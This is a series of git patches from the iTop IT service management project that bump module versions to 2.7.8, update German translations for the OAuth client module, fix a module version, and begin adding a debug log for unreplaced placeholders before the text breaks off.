From 0a611693263642acb23ce08e85416e670149f41e Mon Sep 17 00:00:00 2001 From: Benjamin Dalsass Date: Tue, 16 Aug 2022 09:47:46 +0200 Subject: [PATCH 001/230] Update version to next release 2.7.8 --- approot.inc.php | 2 +- css/css-variables.scss | 2 +- datamodels/2.x/authent-cas/module.authent-cas.php | 2 +- datamodels/2.x/authent-external/module.authent-external.php | 2 +- datamodels/2.x/authent-ldap/module.authent-ldap.php | 2 +- datamodels/2.x/authent-local/module.authent-local.php | 2 +- datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php | 2 +- datamodels/2.x/itop-attachments/module.itop-attachments.php | 2 +- datamodels/2.x/itop-backup/module.itop-backup.php | 2 +- .../module.itop-bridge-virtualization-storage.php | 2 +- .../2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php | 2 +- datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php | 2 +- datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php | 2 +- datamodels/2.x/itop-config/module.itop-config.php | 2 +- datamodels/2.x/itop-core-update/module.itop-core-update.php | 2 +- .../2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php | 2 +- .../2.x/itop-endusers-devices/module.itop-endusers-devices.php | 2 +- .../itop-files-information/module.itop-files-information.php | 2 +- datamodels/2.x/itop-full-itil/module.itop-full-itil.php | 2 +- datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php | 2 +- .../itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php | 2 +- .../2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php | 2 +- datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php | 2 +- datamodels/2.x/itop-portal-base/module.itop-portal-base.php | 2 +- datamodels/2.x/itop-portal/module.itop-portal.php | 2 +- datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php | 2 +- datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php | 2 +- .../itop-request-mgmt-itil/module.itop-request-mgmt-itil.php | 2 +- datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php | 2 +- .../module.itop-service-mgmt-provider.php | 2 +- datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php | 2 +- .../2.x/itop-sla-computation/module.itop-sla-computation.php | 2 +- datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php | 2 +- datamodels/2.x/itop-tickets/module.itop-tickets.php | 2 +- .../module.itop-virtualization-mgmt.php | 2 +- datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php | 2 +- datamodels/2.x/version.xml | 2 +- 37 files changed, 37 insertions(+), 37 deletions(-) diff --git a/approot.inc.php b/approot.inc.php index dae2341e2..584656a30 100644 --- a/approot.inc.php +++ b/approot.inc.php @@ -14,7 +14,7 @@ define('APPCONF', APPROOT.'conf/'); * @used-by utils::GetItopVersionWikiSyntax() * @used-by iTopModulesPhpVersionIntegrationTest */ -define('ITOP_CORE_VERSION', '2.7.7'); +define('ITOP_CORE_VERSION', '2.7.8'); require_once APPROOT.'bootstrap.inc.php'; diff --git a/css/css-variables.scss b/css/css-variables.scss index 5f0e52542..c9d92854e 100644 --- a/css/css-variables.scss +++ b/css/css-variables.scss @@ -17,7 +17,7 @@ */ // Beware the version number MUST be enclosed with quotes otherwise v2.3.0 becomes v2 0.3 .0 -$version: "v2.7.7"; +$version: "v2.7.8"; $approot-relative: "../../../../../" !default; // relative to env-***/branding/themes/***/main.css // Base colors diff --git a/datamodels/2.x/authent-cas/module.authent-cas.php b/datamodels/2.x/authent-cas/module.authent-cas.php index 84109eb21..c6fa16f5f 100644 --- a/datamodels/2.x/authent-cas/module.authent-cas.php +++ b/datamodels/2.x/authent-cas/module.authent-cas.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-cas/2.7.7', + 'authent-cas/2.7.8', array( // Identification // diff --git a/datamodels/2.x/authent-external/module.authent-external.php b/datamodels/2.x/authent-external/module.authent-external.php index df4a4c33d..417b3dafa 100755 --- a/datamodels/2.x/authent-external/module.authent-external.php +++ b/datamodels/2.x/authent-external/module.authent-external.php @@ -27,7 +27,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-external/2.7.7', + 'authent-external/2.7.8', array( // Identification // diff --git a/datamodels/2.x/authent-ldap/module.authent-ldap.php b/datamodels/2.x/authent-ldap/module.authent-ldap.php index e335994b7..ee5b7d82b 100755 --- a/datamodels/2.x/authent-ldap/module.authent-ldap.php +++ b/datamodels/2.x/authent-ldap/module.authent-ldap.php @@ -9,7 +9,7 @@ if (function_exists('ldap_connect')) SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-ldap/2.7.7', + 'authent-ldap/2.7.8', array( // Identification // diff --git a/datamodels/2.x/authent-local/module.authent-local.php b/datamodels/2.x/authent-local/module.authent-local.php index 58e525c0e..e834e4ac2 100755 --- a/datamodels/2.x/authent-local/module.authent-local.php +++ b/datamodels/2.x/authent-local/module.authent-local.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-local/2.7.7', + 'authent-local/2.7.8', array( // Identification // diff --git a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php index 2acd8175e..2a8736a34 100644 --- a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'combodo-db-tools/2.7.7', + 'combodo-db-tools/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-attachments/module.itop-attachments.php b/datamodels/2.x/itop-attachments/module.itop-attachments.php index 20073f075..712273850 100644 --- a/datamodels/2.x/itop-attachments/module.itop-attachments.php +++ b/datamodels/2.x/itop-attachments/module.itop-attachments.php @@ -19,7 +19,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-attachments/2.7.7', + 'itop-attachments/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-backup/module.itop-backup.php b/datamodels/2.x/itop-backup/module.itop-backup.php index 05d2d7dc4..4b21634fe 100644 --- a/datamodels/2.x/itop-backup/module.itop-backup.php +++ b/datamodels/2.x/itop-backup/module.itop-backup.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-backup/2.7.7', + 'itop-backup/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php b/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php index 2ab747ae0..92f938e5d 100644 --- a/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php +++ b/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-bridge-virtualization-storage/2.7.7', + 'itop-bridge-virtualization-storage/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php index 6d7dedb3b..4914769d9 100755 --- a/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-change-mgmt-itil/2.7.7', + 'itop-change-mgmt-itil/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php index 4169edd89..b680dc70d 100755 --- a/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-change-mgmt/2.7.7', + 'itop-change-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php index 68c92f797..e9cf0bb61 100755 --- a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config-mgmt/2.7.7', + 'itop-config-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-config/module.itop-config.php b/datamodels/2.x/itop-config/module.itop-config.php index f9759b72b..8e39e6603 100644 --- a/datamodels/2.x/itop-config/module.itop-config.php +++ b/datamodels/2.x/itop-config/module.itop-config.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config/2.7.7', + 'itop-config/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-core-update/module.itop-core-update.php b/datamodels/2.x/itop-core-update/module.itop-core-update.php index 4cdcb6bc3..bf89f808a 100644 --- a/datamodels/2.x/itop-core-update/module.itop-core-update.php +++ b/datamodels/2.x/itop-core-update/module.itop-core-update.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-core-update/2.7.7', + 'itop-core-update/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php b/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php index 6c5750e48..a90b9a90e 100755 --- a/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php +++ b/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php @@ -18,7 +18,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-datacenter-mgmt/2.7.7', + 'itop-datacenter-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php b/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php index c8d0f019f..64c9b6e49 100644 --- a/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php +++ b/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php @@ -25,7 +25,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-endusers-devices/2.7.7', + 'itop-endusers-devices/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-files-information/module.itop-files-information.php b/datamodels/2.x/itop-files-information/module.itop-files-information.php index 3e4a67b01..ed4aa1e6c 100644 --- a/datamodels/2.x/itop-files-information/module.itop-files-information.php +++ b/datamodels/2.x/itop-files-information/module.itop-files-information.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-files-information/2.7.7', + 'itop-files-information/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-full-itil/module.itop-full-itil.php b/datamodels/2.x/itop-full-itil/module.itop-full-itil.php index 164c37595..07d273906 100644 --- a/datamodels/2.x/itop-full-itil/module.itop-full-itil.php +++ b/datamodels/2.x/itop-full-itil/module.itop-full-itil.php @@ -6,7 +6,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-full-itil/2.7.7', + 'itop-full-itil/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php b/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php index 25ac50219..97d4a94b6 100644 --- a/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php +++ b/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-hub-connector/2.7.7', + 'itop-hub-connector/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php index e04ad81c2..2c026ded8 100755 --- a/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-incident-mgmt-itil/2.7.7', + 'itop-incident-mgmt-itil/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php index 564a2888e..27dd50843 100755 --- a/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-knownerror-mgmt/2.7.7', + 'itop-knownerror-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php index c58cc1af0..ae7cc02df 100644 --- a/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-oauth-client/2.7.7', + 'itop-oauth-client/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-portal-base/module.itop-portal-base.php b/datamodels/2.x/itop-portal-base/module.itop-portal-base.php index f5ce5752f..c94d06101 100644 --- a/datamodels/2.x/itop-portal-base/module.itop-portal-base.php +++ b/datamodels/2.x/itop-portal-base/module.itop-portal-base.php @@ -20,7 +20,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-portal-base/2.7.7', array( + 'itop-portal-base/2.7.8', array( // Identification 'label' => 'Portal Development Library', 'category' => 'Portal', diff --git a/datamodels/2.x/itop-portal/module.itop-portal.php b/datamodels/2.x/itop-portal/module.itop-portal.php index ae6a9e1a5..99f47c646 100644 --- a/datamodels/2.x/itop-portal/module.itop-portal.php +++ b/datamodels/2.x/itop-portal/module.itop-portal.php @@ -20,7 +20,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-portal/2.7.7', array( + 'itop-portal/2.7.8', array( // Identification 'label' => 'Enhanced Customer Portal', 'category' => 'Portal', diff --git a/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php index 431421da5..dc4d95d40 100755 --- a/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-problem-mgmt/2.7.7', + 'itop-problem-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php b/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php index 64cb94667..186603df5 100755 --- a/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php +++ b/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php @@ -19,7 +19,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-profiles-itil/2.7.7', + 'itop-profiles-itil/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php index 56c4d88fe..b1e626a4f 100755 --- a/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-request-mgmt-itil/2.7.7', + 'itop-request-mgmt-itil/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php index 787fce01a..523893446 100755 --- a/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-request-mgmt/2.7.7', + 'itop-request-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php index eadce8bb1..c8988fc0a 100755 --- a/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-service-mgmt-provider/2.7.7', + 'itop-service-mgmt-provider/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php index 1b99acdcf..d4413480a 100755 --- a/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-service-mgmt/2.7.7', + 'itop-service-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php b/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php index 97a3eed5b..8db7fbdf0 100755 --- a/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php +++ b/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php @@ -18,7 +18,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-sla-computation/2.7.7', + 'itop-sla-computation/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php b/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php index 9e824790f..662dc85e2 100644 --- a/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php +++ b/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php @@ -25,7 +25,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-storage-mgmt/2.7.7', + 'itop-storage-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-tickets/module.itop-tickets.php b/datamodels/2.x/itop-tickets/module.itop-tickets.php index 19f361b5c..7df1c18d3 100755 --- a/datamodels/2.x/itop-tickets/module.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/module.itop-tickets.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, - 'itop-tickets/2.7.7', + 'itop-tickets/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php b/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php index 888904f9e..b133ccdc0 100644 --- a/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php +++ b/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php @@ -16,7 +16,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-virtualization-mgmt/2.7.7', + 'itop-virtualization-mgmt/2.7.8', array( // Identification // diff --git a/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php b/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php index e0535aff1..984c8b084 100755 --- a/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php +++ b/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-welcome-itil/2.7.7', + 'itop-welcome-itil/2.7.8', array( // Identification // diff --git a/datamodels/2.x/version.xml b/datamodels/2.x/version.xml index ba7398a4d..cb24d3545 100755 --- a/datamodels/2.x/version.xml +++ b/datamodels/2.x/version.xml @@ -1,4 +1,4 @@ - 2.7.7 + 2.7.8 From ae021064a4813da1731264b7e893a830d7e2c4e2 Mon Sep 17 00:00:00 2001 From: Lars Kaltefleiter Date: Tue, 16 Aug 2022 17:02:37 +0200 Subject: [PATCH 002/230] :globe_with_meridians: Update German translations for oauth-client (#319) --- .../de.dict.itop-oauth-client.php | 82 +++++++++---------- 1 file changed, 41 insertions(+), 41 deletions(-) diff --git a/datamodels/2.x/itop-oauth-client/de.dict.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/de.dict.itop-oauth-client.php index fc7d62765..e8514312b 100644 --- a/datamodels/2.x/itop-oauth-client/de.dict.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/de.dict.itop-oauth-client.php @@ -7,20 +7,20 @@ */ Dict::Add('DE DE', 'German', 'Deutsch', [ - 'Menu:CreateMailbox' => 'Create a mailbox...~~', - 'Menu:OAuthClient' => 'OAuth Client~~', - 'Menu:OAuthClient+' => '~~', - 'Menu:GenerateTokens' => 'Generate access token...~~', - 'Menu:RegenerateTokens' => 'Regenerate access token...~~', + 'Menu:CreateMailbox' => 'Mailpostfach erstellen...', + 'Menu:OAuthClient' => 'OAuth-Client', + 'Menu:OAuthClient+' => '', + 'Menu:GenerateTokens' => 'Zugriffs-Token generieren...', + 'Menu:RegenerateTokens' => 'Zugriffs-Token neu generieren...', - 'itop-oauth-client/Operation:CreateMailBox/Title' => 'Mailbox creation~~', + 'itop-oauth-client/Operation:CreateMailBox/Title' => 'Mailpostfach-Erstellung', - 'itop-oauth-client:UsedForSMTP' => 'This OAuth client is used for SMTP~~', - 'itop-oauth-client:TestSMTP' => 'Email send test~~', - 'itop-oauth-client:MissingOAuthClient' => 'Missing Oauth client for user name %1$s~~', - 'itop-oauth-client:Message:MissingToken' => 'Generate access token before using this OAuth client~~', - 'itop-oauth-client:Message:TokenCreated' => 'Access token created~~', - 'itop-oauth-client:Message:TokenRecreated' => 'Access token regenerated~~', + 'itop-oauth-client:UsedForSMTP' => 'Dieser OAuth-Client wird für SMTP verwendet', + 'itop-oauth-client:TestSMTP' => 'Mail-Versand testen', + 'itop-oauth-client:MissingOAuthClient' => 'Fehlender OAuth-Client für den Benutzernamen %1$s', + 'itop-oauth-client:Message:MissingToken' => 'Bitte Zugriffs-Token generieren bevor der OAuth-Client verwendet wird', + 'itop-oauth-client:Message:TokenCreated' => 'Zugriffs-Token erstellt', + 'itop-oauth-client:Message:TokenRecreated' => 'Zugriffs-Token neu erstellt', ]); // @@ -28,39 +28,39 @@ Dict::Add('DE DE', 'German', 'Deutsch', [ // Dict::Add('DE DE', 'German', 'Deutsch', [ - 'Class:OAuthClient' => 'Oauth Client~~', - 'Class:OAuthClient/Attribute:provider' => 'Provider~~', - 'Class:OAuthClient/Attribute:provider+' => '~~', - 'Class:OAuthClient/Attribute:name' => 'Login~~', - 'Class:OAuthClient/Attribute:name+' => '~~', - 'Class:OAuthClient/Attribute:scope' => 'Scope~~', - 'Class:OAuthClient/Attribute:scope+' => '~~', - 'Class:OAuthClient/Attribute:description' => 'Description~~', - 'Class:OAuthClient/Attribute:description+' => '~~', - 'Class:OAuthClient/Attribute:client_id' => 'Client id~~', - 'Class:OAuthClient/Attribute:client_id+' => '~~', - 'Class:OAuthClient/Attribute:client_secret' => 'Client secret~~', - 'Class:OAuthClient/Attribute:client_secret+' => '~~', - 'Class:OAuthClient/Attribute:refresh_token' => 'Refresh token~~', - 'Class:OAuthClient/Attribute:refresh_token+' => '~~', - 'Class:OAuthClient/Attribute:refresh_token_expiration' => 'Refresh token expiration~~', - 'Class:OAuthClient/Attribute:refresh_token_expiration+' => '~~', - 'Class:OAuthClient/Attribute:token' => 'Access token~~', - 'Class:OAuthClient/Attribute:token+' => '~~', - 'Class:OAuthClient/Attribute:token_expiration' => 'Access token expiration~~', - 'Class:OAuthClient/Attribute:token_expiration+' => '~~', - 'Class:OAuthClient/Attribute:redirect_url' => 'Redirect url~~', - 'Class:OAuthClient/Attribute:redirect_url+' => '~~', - 'Class:OAuthClient/Attribute:mailbox_list' => 'Mailbox list~~', - 'Class:OAuthClient/Attribute:mailbox_list+' => '~~', + 'Class:OAuthClient' => 'OAuth-Client', + 'Class:OAuthClient/Attribute:provider' => 'Provider', + 'Class:OAuthClient/Attribute:provider+' => '', + 'Class:OAuthClient/Attribute:name' => 'Login', + 'Class:OAuthClient/Attribute:name+' => '', + 'Class:OAuthClient/Attribute:scope' => 'Scope', + 'Class:OAuthClient/Attribute:scope+' => '', + 'Class:OAuthClient/Attribute:description' => 'Beschreibung', + 'Class:OAuthClient/Attribute:description+' => '', + 'Class:OAuthClient/Attribute:client_id' => 'Client ID', + 'Class:OAuthClient/Attribute:client_id+' => '', + 'Class:OAuthClient/Attribute:client_secret' => 'Client Secret', + 'Class:OAuthClient/Attribute:client_secret+' => '', + 'Class:OAuthClient/Attribute:refresh_token' => 'Erneuerungs-Token', + 'Class:OAuthClient/Attribute:refresh_token+' => '', + 'Class:OAuthClient/Attribute:refresh_token_expiration' => 'Erneuerungs-Token Ablaufzeitpunkt', + 'Class:OAuthClient/Attribute:refresh_token_expiration+' => '', + 'Class:OAuthClient/Attribute:token' => 'Zugriffs-Token', + 'Class:OAuthClient/Attribute:token+' => '', + 'Class:OAuthClient/Attribute:token_expiration' => 'Zugriffs-Token Ablaufszeitpunkt', + 'Class:OAuthClient/Attribute:token_expiration+' => '', + 'Class:OAuthClient/Attribute:redirect_url' => 'Umleitungs-URL', + 'Class:OAuthClient/Attribute:redirect_url+' => '', + 'Class:OAuthClient/Attribute:mailbox_list' => 'Mailpostfächer', + 'Class:OAuthClient/Attribute:mailbox_list+' => '', ]); // // Class: OAuthClientAzure // Dict::Add('DE DE', 'German', 'Deutsch', [ - 'Class:OAuthClientAzure' => 'OAuth client for Microsoft Azure~~', - 'Class:OAuthClientAzure/Name' => '%1$s (%2$s)~~', + 'Class:OAuthClientAzure' => 'OAuth-Client für Microsoft Azure', + 'Class:OAuthClientAzure/Name' => '%1$s (%2$s)', ]); @@ -68,7 +68,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', [ // Class: OAuthClientGoogle // Dict::Add('DE DE', 'German', 'Deutsch', [ - 'Class:OAuthClientGoogle' => 'OAuth client for Google~~', - 'Class:OAuthClientGoogle/Name' => '%1$s (%2$s)~~', + 'Class:OAuthClientGoogle' => 'OAuth-Client für Google', + 'Class:OAuthClientGoogle/Name' => '%1$s (%2$s)', ]); From efd2fbb19abc69e98f2207ea8c6512333c05d2f0 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 16 Aug 2022 17:49:23 +0200 Subject: [PATCH 003/230] Fix module version after wrong merge --- datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php index 5ed72ee05..eabb5acad 100755 --- a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config-mgmt/2.7.7', + 'itop-config-mgmt/3.0.1', array( // Identification // From 33c2168af2523a336f245385a598efdac5ee0e61 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 17 Aug 2022 14:09:59 +0200 Subject: [PATCH 004/230] :loud_sound: Adds a debug log for invalid placeholders (#282) This adds a debug log when a placeholder cannot be replaced. Before the placeholder was just not replaced. Now we can enable a debug log on the LogChannels::NOTIFICATION channel. --- core/metamodel.class.php | 101 ++++++++++++++++++++------------------- 1 file changed, 51 insertions(+), 50 deletions(-) diff --git a/core/metamodel.class.php b/core/metamodel.class.php index a1b7ed3cb..744bfb26c 100644 --- a/core/metamodel.class.php +++ b/core/metamodel.class.php @@ -7344,14 +7344,11 @@ abstract class MetaModel $aSearches = array(); $aReplacements = array(); - foreach ($aParams as $sSearch => $replace) - { + foreach ($aParams as $sSearch => $replace) { // 